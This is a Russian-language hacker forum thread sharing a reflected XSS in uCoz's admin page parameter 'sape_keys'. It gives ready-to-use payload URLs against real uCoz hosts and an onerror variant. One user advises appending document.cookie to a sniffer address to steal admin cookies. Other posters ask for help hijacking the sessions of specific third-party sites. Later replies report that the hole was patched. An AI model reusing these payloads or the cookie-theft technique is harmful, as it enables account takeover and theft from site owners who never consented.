Ucoz xss

[foopi]

Вот xss найденная мною на юкозе:
[site.ucoz.ru]/admin/ghckh.php?sape_keys=%22%3E%3Cimg%20src=javascript: alert()%3E
Пример:
http://cat.ucoz.ru/admin/ghckh.php?sape_keys=%22%3E%3Cimg%20src=javascript: alert()%3E

[-m0rgan-]

Ыыыыыыы))))
Юкоз пахекали=)))
http://www.ucoz.ru/admin/ghckh.php?sape_keys=%22%3E%3Cimg%20src=javascript: alert()%3E
:D:D:D
Малаца, держи канфетко=)

[foopi]

yje prikrili??? lol
неправда всё работает)

[DVD_RW]

В ФФ не пашет

[-m0rgan-]

В Опере все гуд!

[k0lbasa]

пробел надеюсь не забыл убрать, двдрв?)

[DVD_RW]

ога..под ие6 пашет...под фф не хочет ^_^

[m0sk]

гут

[Xcontrol212]

ff не пашет,на ие 5 и опера 9.62 пашет!

[o3,14um]

давайте мот перенесём в приват))

[Sasuke-kun]

Уже не пашет =(

[-m0rgan-]

Sasuke-kun, че у тебя не пашет???)
Все там пашет!!!111адинадинадин
Пробелы убери прост :D:D:D

[Arigona]

дайте пример на сайт prostota.ucoz.org, уж очень хочется посмотреть, а то смотрю и не пашет(

[Arigona]

всё, понял, а как с ней увести пароль как то можно? снифером трудно будет

[-m0rgan-]

Пробуй так:
alert(адрес снифера+document.cookie)

[Chrome~]

Реально. Автору зачет.

[Sasuke-kun]

хм..а у меня не пашет,можите дать готовый пример например к сайту naruto-fan.ru он на ucoz'е

[Chrome~]

Для Mozilla Firefox, Opera и некоторых других браузеров успешно работает такая конструкция:

http://cat.ucoz.ru/admin/ghckh.php?sape_keys="><img src="a"onerror=alert("XSS")>

[Alexandr II]

всё пашет и пашет нормально ;) заслужил +

[geforse]

уже прикрыли ?(

[Chrome~]

Все по прежнему работает.

[Arigona]

НО как с этим угнать куки админа ? :(

[F1shka]

молодец, ТС

[foopi]

:( жаль только пользы от этого мало. куки не выходит угнать

[luz3r]

всё работает..

[foopi]

luz3r
И кукисы на снифер приходят?

[favor_it]

Дык я не понял, должна стоят сапа?

[dimhee]

круть , автор молодец

[DeepBlue7]

ЫЫЫЫЫЫЫ ))) Накнецто ХОТЬ ЧТОТО на уцозе нашли и в паб выложили =)

[VinTkz]

кукисы, получилось, у кого-нить угнать? :)

[Rehn]

Крутая у вас, ребят, уязвимость через которую ничего сделать нельзя. Да еще и связанная больше с sape чем с юкозом.

[Chrome~]

Если правильно написать ссылку, то все получается. Уязвимость нормальная.

[miqo]

можете привести конкретный пример на конкретном сайте?просто мне очень нужно!

P.S. "репутации" нет а то + бы поставил

[3dn]

можете привести конкретный пример на конкретном сайте?просто мне очень нужно!
никто тут не собирается ничего приводить, тут только пустозвонить гаразды.... никто даже не посмотрел что на 404 ошибке в юкозе сапа уже не выводится, а значит некуда лепить эту пассивную XSS....

Еще... Кража кука ничего не даст, его нельзя ни расшифровать ни использовать у себя на компьютере....

[Mixon]

Во всех ваших примерах пишет


Невозможно найти ресурс

Возможно, он был удален, переименован, или временно недоступен.

[Chrome~]

Во всех ваших примерах пишет


Невозможно найти ресурс

Возможно, он был удален, переименован, или временно недоступен.
Уязвимость прикрыли.

[Mixon]

блин((((опоздал(((

[Artemik]

Да реал, краша куки вам ничего не даст. По умолчанию на Укозе у админа стоит привязка к IP. А следовательно куки если и прилетят, то толку от них нет.

[Пётр]

Да реал, краша куки вам ничего не даст. По умолчанию на Укозе у админа стоит привязка к IP. А следовательно куки если и прилетят, то толку от них нет.
А если у нас динамический IP? Как куки спистеть то?)) Юзал поиск, все темы нечего конкретного... ща работает какой-нить способ?